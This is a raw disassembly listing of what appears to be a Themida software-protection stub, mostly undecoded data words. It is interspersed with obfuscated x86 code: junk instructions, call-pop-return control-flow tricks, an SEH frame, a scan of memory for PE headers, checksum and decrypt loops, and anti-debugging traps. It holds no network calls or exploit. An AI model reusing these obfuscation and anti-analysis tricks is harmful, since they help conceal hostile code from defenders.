dd 3302E300h, 0BE90543h, 0D0000000h, 2A4F4688h, 192F5F27h
dd 0F5F1B10h, 286h, 83DA8B00h, 121BD9BDh, 850F0306h, 377h
dd 0CE816660h, 0E9606D67h, 0Dh, 0A11354B7h, 0AA617D49h
dd 0EE1F0848h, 0F08B66DBh, 0BD836161h, 615C812h, 4C840F00h
dd 6A000003h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 0E8F9C351h, 0Ah, 53FF100h, 135C2CB9h
dd 5BFC4F49h, 0C812B5FFh, 870F0615h, 5, 74C38166h, 0A995FF77h
dd 6A06121Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0E4D4C351h, 27B318B6h, 8953714Eh
dd 12186195h, 6B58B06h, 6A0615C8h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0BFCFC355h
dd 0BD89A6E1h, 6120389h, 106C7h, 0DA8A0001h, 8E996h, 46E80000h
dd 0B779262Fh, 0F502A8Fh, 8Fh, 0FE99600h, 14000000h, 619B11ADh
dd 0E9F40F58h, 15A9D228h, 0B5FFA1D9h, 615C812h, 890Fh
dd 0FFF50000h, 121C0595h, 0BB665106h, 8B5F8034h, 15C806B5h
dd 0DA8B6606h, 1A5858Bh, 86890612h, 0C4h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Dh, 0BFC35040h, 9055079Bh
dd 8603ED36h, 8166576Fh, 5B9279F7h, 9A1958Bh, 6A0612h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 9C9847C3h, 3031826h, 0D1BD8BFCh, 8A061219h, 4C283F9h
dd 89FE8B66h, 6A2050h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 170424h, 56460000h, 0C302D3C3h, 6F858DBBh, 6A0615DCh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 7282C357h, 29C58550h, 120015BDh, 0B8868906h
dd 52000000h, 14810Fh, 0FE90000h, 13000000h, 7FE1B68Fh
dd 0C25946AAh, 3DD62F36h, 6A5F8FBFh, 1870F00h, 0F5000000h
dd 0C812B5FFh, 0B70F0615h, 0A595FFFAh, 31061206h, 12027D95h
dd 34895006h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1404h, 0C3554500h, 1D9D8B0Bh, 0FF06122Dh, 15C812B5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 55B589EDh, 0E906121Fh, 0Ch, 0F6950D6Eh
dd 0B08D0816h, 0C046032Dh
dd 28195FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 34B1CC3h, 60E13144h, 83DBBF0Fh
dd 122A09BDh, 840F0006h, 4Ch, 0E8525050h, 0Dh, 0CFA2ADF7h
dd 5026E484h, 7440AA29h, 860F29h, 5B000000h, 8B66310Fh
dd 89585AD9h, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 380748C3h, 0BBF733F6h, 1D9D272Bh
dd 0C812B5FFh, 7E90615h, 0C0000000h, 40A0006Eh, 95FF94CAh
dd 61218C1h, 0DE8h, 2CAD3100h, 4D64CB70h, 238199BCh, 0BD8B8F86h
dd 61209A5h, 12B5FF5Fh, 8B0615C8h, 121451BDh, 0A195FF06h
dd 8B06121Bh, 0B1BD83F9h, 206121Eh, 1D840Fh, 0BD8B0000h
dd 612004Dh, 3A5858Bh, 8B570612h, 1234ED9Dh, 0C65B06h
dd 0A19D0300h, 0C7061212h, 121B5985h, 6, 59BD2300h, 0E9061217h
dd 0FFFFF4B4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 7CC35141h, 2A9B046Eh, 0FB8BB77Bh, 8DF8C18Bh, 122E0185h
dd 19DF8106h, 905640E6h, 0E07F09BFh, 0BF665019h, 6A900C94h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 0D83DC353h, 12A469AAh, 5CD7E557h, 61F98B60h
dd 0DF81006Ah, 2E427089h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1C0424h, 56460000h, 0CAC985C3h, 0A2727453h
dd 0BF0FA9AEh, 0E860FF8h, 0E9000000h, 9, 0BB9436F9h, 1A5C996h
dd 61958965h, 8D06121Eh, 173C4585h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 88687EAEh
dd 0C083A3CEh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1D04h, 0C3564600h, 6E255EC9h, 0C767E313h
dd 0E956A1F4h, 0Dh, 211BEF4Bh, 606DACF7h, 78755BCCh, 0BB665B4Fh
dd 9D295CF8h, 61220EDh, 870F6050h, 0Ch, 7E9h, 0C6092300h
dd 0F2D1492Dh, 66FA8B60h, 61E6F3B8h, 24048961h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 27C35343h, 6AF97651h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h
dd 0C3564600h, 0CE85EB34h, 2386FF56h, 6A0F9Dh, 0CE9h, 0FA0F3E00h
dd 494DCBD7h, 55203DB1h, 0B595FF03h, 0E906120Dh, 14h, 263FBC8Bh
dd 0C455E309h, 32C59C4Dh, 5B8161C2h, 67EB8EE8h, 0AF028D8Dh
dd 9E90615h, 5000000h, 68633CF0h, 846A1DF7h, 0D98AD1FFh
dd 2075BD8Bh, 0BD830612h, 61207ADh, 9C850F01h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 7D3DC356h, 0FC786CCDh, 894D88FDh, 121E899Dh
dd 0DE906h, 0DB8E0000h, 91E844CCh, 7B8CF9FAh, 6A668441h
dd 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 0F71171DCh, 0F48C641Ch, 665090D4h, 9031DBBFh
dd 0FF37C780h, 1206A595h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 174EF5CEh
dd 9BEB6209h, 618D89A3h, 0E9061210h, 0C9Fh, 0E8h, 0ED815D00h
dd 6173C4Fh, 12ED8D89h, 5E80612h, 0BF000000h, 0E380FE38h
dd 0C6BF0F60h, 5F615F57h, 9437858Dh, 0B6B70615h, 0BFEFBB90h
dd 90501060h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Bh, 9AC35343h, 0ED5A6E3Ah, 663AA3DFh, 25A4C781h, 35FF64h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1B042444h, 46000000h, 0D382C356h, 55113F9Dh, 0B589167Ah
dd 6121599h, 258964h, 8B000000h, 1211619Dh, 7985FF06h
dd 6A061206h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 19042444h, 46000000h, 5B45C356h, 8682862Ch, 0EE9h, 7D8C7B00h
dd 4CF82A46h, 0E82B4E01h, 6A69E27Eh, 55006AFFh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 2D2356DAh
dd 0DDB5FFC4h, 8B061213h, 12303D9Dh, 0B595FF06h, 0E906122Ch
dd 152h, 10E9h, 83424200h, 63DFAD62h, 0C193FE1Dh, 574B303Dh
dd 8900B024h, 121B79BDh, 0E470E606h, 81DF8171h, 3C6DEB7Fh
dd 23830F61h, 8B000001h, 1211F99Dh, 0C8B60F06h, 28F0Fh
dd 0F98B0000h, 6BAh, 0FBBF0F00h, 9D0BC18Bh, 612075Dh, 8B04E8C1h
dd 122EF59Dh, 0E2F76606h, 7299D8Bh, 81660612h, 2BFD57CFh
dd 6DBB51C8h, 5B5FBD9Dh, 9589D18Bh, 61222B9h, 0D5E9h, 4840F00h
dd 66000000h, 8B4C94BFh, 47554C85h, 0D19D8B49h, 8306122Ah
dd 820F07C0h, 0
db 83h, 0C0h, 0
; ---------------------------------------------------------------------------
jmp loc_59A81E
; ---------------------------------------------------------------------------
dd 0E14BAAE2h, 0C78DA9FAh, 44985FFAh
; ---------------------------------------------------------------------------
xor al, 0DAh
loc_59A81E: ; CODE XREF: Themida_:0059A80Bj
cmp edx, eax
jnb loc_59A854
and edi, 6E80884Ah
add [ebp+6121ADDh], edx
jmp loc_59A8BE
; ---------------------------------------------------------------------------
jz loc_59A854
pusha
jmp loc_59A853
; ---------------------------------------------------------------------------
db 3Ah
; ---------------------------------------------------------------------------
lds eax, [eax]
push ecx
mov ecx, 0F4022A90h
mov dl, 0C9h
mov ecx, 3ED73758h
loc_59A853: ; CODE XREF: Themida_:0059A83Ej
popa
loc_59A854: ; CODE XREF: Themida_:0059A820j
; Themida_:0059A837j
mov ecx, [ebp-1]
add [ebp+612089Dh], ebx
pusha
mov [ebp+6120DFDh], ecx
call sub_59A87C
adc [ecx], ebp
pop ecx
xchg eax, ebx
push 3Ah
pop esi
shl byte ptr [eax+9], 1
push ebp
and bl, [eax-6Ah]
js short loc_59A8F2
; =============== S U B R O U T I N E =======================================
sub_59A87C proc near ; CODE XREF: Themida_:0059A867p
call near ptr loc_59A88B+1
insd
loop near ptr loc_59A8B9+1
jb near ptr 0DDC241FFh
out dx, eax
loc_59A88B: ; CODE XREF: sub_59A87Cp
mov ebp, 83615E5Ah
sub_59A87C endp ; sp-analysis failed
loope near ptr loc_59A892+1
loc_59A892: ; CODE XREF: Themida_:0059A890j
jz loc_59A8BE
mov edi, ecx
movzx ebx, di
and dword ptr [ebp-1], 0FFFFFFFEh
xor [ebp+61221D1h], ebx
mov edi, [ebp+6123175h]
mov [ebp+4947554Ch], edx
movzx ebx, di
loc_59A8B9: ; CODE XREF: sub_59A87C+6j
jmp $+5
loc_59A8BE: ; CODE XREF: Themida_:0059A832j
; Themida_:loc_59A892j
lea esi, [ebp+616B897h]
mov ebx, [ebp+6120D2Dh]
push 0
mov [ebp+61217BDh], ecx
call dword ptr [ebp+61219CDh]
mov [ebp+61217A9h], ebx
xor edi, 2316A4BAh
mov ecx, 106Ch
add [ebp+6121F01h], esi
and ecx, 0FFFFFFFCh
loc_59A8F2: ; CODE XREF: Themida_:0059A87Aj
push 0
push edi
call sub_59A8FD
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59A8FD proc near ; CODE XREF: Themida_:0059A8F5p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_59A8FD endp
; ---------------------------------------------------------------------------
db 7Ch, 0F8h, 5Eh
; ---------------------------------------------------------------------------
mov [ebp+6120111h], edi
cld
mov eax, 0
jmp loc_59A927
; ---------------------------------------------------------------------------
db 0F5h, 0C7h, 52h
db 0D0h, 94h, 6Dh
; ---------------------------------------------------------------------------
loc_59A927: ; CODE XREF: Themida_:0059A91Cj
mov edx, 0
push ebx
mov [ebp+61212D1h], ecx
pop edi
loc_59A934: ; CODE XREF: Themida_:0059A93Ej
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_59A934
mov ebx, [ebp+6121B89h]
jmp loc_59A959
; ---------------------------------------------------------------------------
imul edi, [ecx], 2F0BCF0Fh
adc eax, 0C19834Fh
dec ecx
mov dl, 4Ch
loc_59A959: ; CODE XREF: Themida_:0059A946j
or eax, 88h
push 0
push edx
call sub_59A969
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59A969 proc near ; CODE XREF: Themida_:0059A961p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_59A969 endp
; ---------------------------------------------------------------------------
db 0DFh, 0C5h, 0D3h
dd 0EA5EF4CEh, 33BF6616h, 0A1958BB9h, 89061209h, 121869B5h
dd 58D8B06h, 6A061205h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0CD1DC350h, 11BD8B8Ch
dd 50061213h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h
dd 9BDB8058h, 9E856h, 42E0000h, 588832DBh, 894A5F5Ch, 1214019Dh
dd 835B5F06h, 122121BDh, 840F0006h, 3Bh, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0BC35545h, 9FF202F0h
dd 9D34E79h, 0B8h, 418D8900h, 8D061209h, 124DB58Dh, 25BB6606h
dd 83E1FFEFh, 121BD9BDh, 840F0006h, 43Bh, 1E059D8Bh, 0BD830612h
dd 6121BD9h, 43840F01h, 6A000004h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3E2DC356h
dd 79CF6D75h, 8D014C9Eh, 612009Dh, 1BD9BD83h, 0F030612h
dd 3D786h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 6639FC54h, 66E7B1BFh, 8B60FA8Bh
dd 122DC9BDh, 0D98C6606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 0E1C35343h, 55B50916h, 89061218h, 120EA59Dh
dd 9E95206h, 0DA000000h, 3A784AEAh, 8FF04E44h, 4E1805Fh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 63C35040h
dd 0BBF98BDDh, 78342F1Bh, 840FC90Ah, 129h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 37C35343h, 10139558h
dd 66924635h, 858BF88Bh, 612308Dh, 8BFE8B66h, 658533DFh
dd 0F5061231h, 0DE85290h, 0B6000000h, 7AD692D4h, 0EE65CF09h
dd 5F469801h, 820Fh, 5F5B0000h, 7E95650h, 0C1000000h, 157E25EEh
dd 905B8CC8h, 17F58D31h, 0BD890612h, 61203A9h, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0C6F6C5C3h, 68FC374Ch, 476887A7h, 8B665250h, 8B310FF8h
dd 81585ADEh, 84582434h, 95FF4777h, 6122379h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 76C35646h, 0D98B08CFh
dd 0C8128589h, 0EE90615h, 0DE000000h, 2C5C17EBh, 0E3E85691h
dd 5429C2AAh, 1B5E91Dh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 6C4B8C3h, 624131A4h
dd 0A9BD8B33h, 0E8061200h, 0Bh, 0C4405A63h, 82A327CEh
dd 0F8574D41h, 0A858B5Bh, 0C70615C8h, 1800h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 6C841723h, 0B71BD5E1h, 66FB8B91h, 0A689EF81h, 0C80EB58Bh
dd 858B0615h, 6122AB9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 64C35646h, 0EEFEDE02h, 0D3810689h, 21778EACh
dd 308D858Bh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 0D51E7EC3h, 89F8D822h, 12045195h
dd 4468906h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 98C35141h, 4353E798h, 1E1DA65h, 120029B5h, 0DA8B5006h
dd 0FF243489h, 15C80AB5h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 8B660C28h
dd 8A4568D8h, 810F0C30h, 4, 5BFEB750h, 0BA243481h, 6A0C2F89h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 3B88C351h, 70BE41B5h, 9529DC6Dh, 612116Dh
dd 0C812858Dh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 0B50A61C3h, 303F767Ah, 1C827DDh
dd 122C2985h, 2DB52906h, 50061217h, 489FB8Bh, 0FF5FB724h
dd 12237995h, 36E38106h, 611FB8A3h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 35C35040h, 91B58901h, 0BF061221h
dd 3286ED61h, 1BD985C7h, 30612h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A4B4B5C3h
dd 0BD83ACBFh, 615C812h, 3D840F00h, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 0E43DC355h, 0BB1579h, 0E9082DAAh, 9, 0E2E03A0Ch, 0ED8EF2ABh
dd 21E98Bh, 95290000h, 6121F9Dh, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 66C08B00h, 6AD98Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 7AC70DC3h, 0E9511360h
dd 6, 0DC0C7689h, 0E95B8FBDh, 5, 0ABEAC504h, 0D9BD833Ah
dd 306121Bh, 3E9850Fh, 870F0000h, 6, 2995BD8Bh, 9D8B0612h
dd 61215C5h, 0C812BD83h, 0F000615h, 3CA84h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 2C7131B4h, 8B9600D4h, 12295DBDh, 8D9D0306h, 0FF061209h
dd 15C812B5h, 0BE906h, 94C50000h, 860D9980h, 0C8B1BAC1h
dd 0A995FF88h, 0E806121Ah, 6, 2A64126Bh, 95894A6Eh, 6120511h
dd 6B58B5Bh, 810615C8h, 0E6CDFC3h, 106C706h, 6A000100h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h
dd 45000000h, 0BB9CC355h, 76F6B5DEh, 40732A63h, 0CA7FF781h
dd 0F507295h, 158Bh, 9E86000h, 7B000000h, 0F66CA3F9h, 4421D9Fh
dd 0C9BA6659h, 34896193h, 559D8B24h, 0FF06121Ch, 15C812B5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 595FF24h, 0F06121Ch, 88Fh, 8A0F5600h, 0
; ---------------------------------------------------------------------------
pop edi
mov esi, [ebp+615C806h]
mov di, ax
mov eax, [ebp+61201A5h]
mov di, 56CAh
mov [esi+0C4h], eax
push 0
push ecx
call sub_59B02D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B02D proc near ; CODE XREF: Themida_:0059B025p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_59B02D endp
; ---------------------------------------------------------------------------
mov ch, 38h
mov ah, 0F9h
test dl, 0FDh
mov ebx, eax
mov bx, si
mov edx, [ebp+61209A1h]
push 0
push eax
call sub_59B05A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B05A proc near ; CODE XREF: Themida_:0059B052p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_59B05A endp
; ---------------------------------------------------------------------------
pushf
push ebx
db 26h
inc ebp
mov edi, [ebp+6122DDDh]
add edx, 4
push 0
push ebp
call sub_59B082
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B082 proc near ; CODE XREF: Themida_:0059B07Ap
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_59B082 endp
; ---------------------------------------------------------------------------
stosd
push 2050892Fh
mov bx, 0C193h
lea eax, [ebp+615DC6Fh]
push 0
push edi
call sub_59B0AD
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B0AD proc near ; CODE XREF: Themida_:0059B0A5p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_59B0AD endp
; ---------------------------------------------------------------------------
movsd
push ss
cmp eax, 3F65967Fh
xor edi, 49B52C59h
mov ebx, [ebp+61200D5h]
mov [esi+0B8h], eax
push 0
push ebx
call sub_59B0E1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B0E1 proc near ; CODE XREF: Themida_:0059B0D9p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_59B0E1 endp
; ---------------------------------------------------------------------------
sbb bl, [ecx-5AD4DE79h]
fstp tbyte ptr ds:0F7A4CF81h
push cs
pop ds
assume ds:nothing
mov ebx, [ebp+61200F5h]
push 0
push 0
push eax
call sub_59B112
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59B112 proc near ; CODE XREF: Themida_:0059B10Ap
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_59B112 endp
; ---------------------------------------------------------------------------
dw 0B7BCh
dd 0ECE253F8h, 49579691h, 3D1319BBh, 12B5FF1Ch, 890615C8h
dd 122BD98Dh, 0A595FF06h, 6A061206h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 56ECC357h
dd 7F286C5Dh, 0EBB66050h, 8961F38Bh, 0BD8B2434h, 61208D1h
dd 0C812B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 58C43C3h, 0CC0DAFBFh, 8195FF39h
dd 6A061202h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 16042444h, 40000000h, 0D658C350h, 31BD8BE0h, 8306122Dh
dd 122A09BDh, 840F0006h, 4Fh, 0D9BF0F57h, 799D895Fh, 5006121Ch
dd 9E8h, 91548D00h, 0D2976ACEh, 50608D8Eh, 5A310F52h, 895F6158h
dd 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 763E3CC3h, 0FA21D4DBh, 0ADBD89E9h, 0FF061219h
dd 15C812B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 99BD8B26h, 0FF061222h, 1218C195h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h
dd 0C3504000h, 2054D624h, 0B3C34202h, 12B5FF47h, 0BF0615C8h
dd 5DA3B248h, 1BA195FFh, 0B70F0612h, 0B1BD83FEh, 206121Eh
dd 1B840Fh, 9D090000h, 6121A39h, 3A5858Bh, 9D2B0612h, 61219C5h
dd 8B0000C6h, 1212219Dh, 5985C706h, 6121Bh, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 8B88C353h, 1B501FAh, 0E906121Bh, 0FFFFF44Fh
dd 20059D89h, 0C18B0612h, 8E8h, 2BBDA000h, 46113E31h, 0F78166B6h
dd 0BA5FD880h, 0F00E0000h, 0EA81h, 0C283F000h, 5958914h
dd 83061204h, 858D14EAh, 617498Fh, 35FF6450h, 0
; ---------------------------------------------------------------------------
mov large fs:0, esp
call $+5
pop eax
sub eax, edx
and eax, 0FFFFF000h
loc_59B338: ; CODE XREF: Themida_:0059B35Aj
cmp word ptr [eax], 5A4Dh
jnz loc_59B355
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz loc_59B35F
loc_59B355: ; CODE XREF: Themida_:0059B33Dj
sub eax, 1000h
jmp loc_59B338
; ---------------------------------------------------------------------------
loc_59B35F: ; CODE XREF: Themida_:0059B34Fj
mov ecx, eax
mov [ebp+6120895h], eax
add eax, [eax+3Ch]
movzx edx, word ptr [eax+6]
mov [ebp+612201Dh], edx
mov edx, [eax+50h]
mov [ebp+6120DDDh], edx
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ecx
mov [ebp+6122921h], edx
add edx, [eax+8]
mov [ebp+6122C3Dh], edx
pop large dword ptr fs:0
add esp, 4
jmp loc_59B3B8
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_59B3B8: ; CODE XREF: Themida_:0059B3A0j
cmp dword ptr [ebp+6120D99h], 0
jz loc_59B3E9
mov byte ptr [ebp+6122871h], 47h
push 0D49AA7D2h
push dword ptr [ebp+61230E9h]
lea eax, [ebp+6157F35h]
call eax
push 0
call eax
mov [ebp+6122909h], eax
loc_59B3E9: ; CODE XREF: Themida_:0059B3BFj
mov edx, ebx
call sub_59B3FC
pop ebp
mov ds:2772E3B0h, eax
pop ss
mov eax, 46BE1FD8h
; =============== S U B R O U T I N E =======================================
sub_59B3FC proc near ; CODE XREF: Themida_:0059B3EBp
; FUNCTION CHUNK AT 0059B4F9 SIZE 00000005 BYTES
mov esi, 60F24D78h
pop eax
pusha
jl loc_59B40B
mov edi, eax
loc_59B40B: ; CODE XREF: sub_59B3FC+7j
js loc_59B417
jns $+6
loc_59B417: ; CODE XREF: sub_59B3FC:loc_59B40Bj
popa
add eax, 6793h
movzx edi, bx
push 19B4h
jmp loc_59B439
; ---------------------------------------------------------------------------
db 58h
dd 0FEE96267h, 0A1F895C7h, 0BA5D6C80h
; ---------------------------------------------------------------------------
movsd
loc_59B439: ; CODE XREF: sub_59B3FC+2Aj
pop ebx
sbb cx, 2151h
loc_59B43F: ; CODE XREF: sub_59B3FC+A3j
push dword ptr [eax]
and cx, 0CA9Ah
pop edx
xor edx, 6DCBCB45h
clc
sub edx, 4A1CD139h
mov ch, bl
add edx, 3BFA7733h
sbb ecx, 13A764C5h
push edx
mov cx, 431h
pop dword ptr [eax]
stc
sub eax, 3
pusha
mov si, 7590h
jp loc_59B479
clc
loc_59B479: ; CODE XREF: sub_59B3FC+76j
popa
dec eax
mov edi, edx
dec ebx
jnz loc_59B49D
or di, 0F5ABh
jmp loc_59B4B7
; ---------------------------------------------------------------------------
dw 0CCA7h
dd 77DA2B70h, 0EDF8014Eh, 0AC70F745h
; ---------------------------------------------------------------------------
xchg eax, esp
loc_59B49D: ; CODE XREF: sub_59B3FC+82j
mov ch, 0ACh
jmp loc_59B43F
; ---------------------------------------------------------------------------
dd 0D7AF8643h, 20A487A6h, 0F69365F2h, 905406F4h
; ---------------------------------------------------------------------------
jg short loc_59B4F9
icebp
loc_59B4B7: ; CODE XREF: sub_59B3FC+8Dj
lea ecx, [ebp+6174B81h]
jo $+6
mov [ebp+61209A1h], ecx
push 0
push edx
call sub_59B4D4
and [edx-3Dh], bl
sub_59B3FC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_59B4D4 proc near ; CODE XREF: sub_59B3FC+D0p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Bh
inc edx
push edx
retn
sub_59B4D4 endp
; ---------------------------------------------------------------------------
dd 6F75D079h, 8D4D4734h, 85C7C28Ah, 6120505h, 72A4h
db 6Ah
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B3FC
loc_59B4F9: ; CODE XREF: sub_59B3FC+B8j
add [ebp-18h], dl
add eax, [eax]
; END OF FUNCTION CHUNK FOR sub_59B3FC
; ---------------------------------------------------------------------------
dw 0
; ---------------------------------------------------------------------------
and [ebp-3Dh], bl
pop ebp
mov [esp+4], ebp
add dword ptr [esp+4], 1Ah
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
pop es
inc eax
jmp short loc_59B518
; ---------------------------------------------------------------------------
db 73h
; ---------------------------------------------------------------------------
loc_59B518: ; CODE XREF: Themida_:0059B515j
popa
shr al, 12h
; ---------------------------------------------------------------------------
dd 9D000000h, 9ED98809h, 0E2D7FB2Ch, 0A3E26888h, 0D744890Fh
dd 65858BE5h, 5A061215h, 68A0Fh, 85310000h, 6122C2Dh, 1BD985C7h
dd 612h, 0C3810000h, 5DF4AED2h, 6840Fh, 0B5890000h, 612264Dh
dd 2381B5FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 0FAE887C3h, 0D3DCBA1Ah, 1B3195FFh
dd 0D18B0612h, 95FF006Ah, 61219CDh, 39EBC08Bh, 679661B1h
dd 775E0B40h, 4D55E2F2h, 2BE260A3h, 245FF62Ch, 0CCBB3A49h
dd 2DB757A4h, 65E95B30h, 0C1251358h, 63A0195Fh, 0DADFCE2Ch
dd 0BA3046F3h, 0FEA7FCBAh, 133BFEF5h, 528D8D3Eh, 0BB06174Ch
dd 0B98B521h, 299BD8Bh, 8D890612h, 61209A1h, 85C714B4h
dd 6120505h, 58F8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 80C35747h, 0B6AA8F37h, 507D1E96h, 1BD985C7h
dd 612h, 85090000h, 61223F9h, 0CD1B5FFh, 66600612h, 0C24FEF81h
dd 3195FF61h, 6A06121Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 812DC356h, 922A806Fh
dd 0FF006ADCh, 1219CD95h, 0EBC08B06h, 524B0D69h, 13A7176Ch
dd 0E12989EAh, 0B8B6C4E8h, 0D1B11571h, 0F936D48Ah, 0CB608250h
dd 0BB424A74h, 0FDCEFA74h, 59CC3E52h, 0EEBABC18h, 3E3F8488h
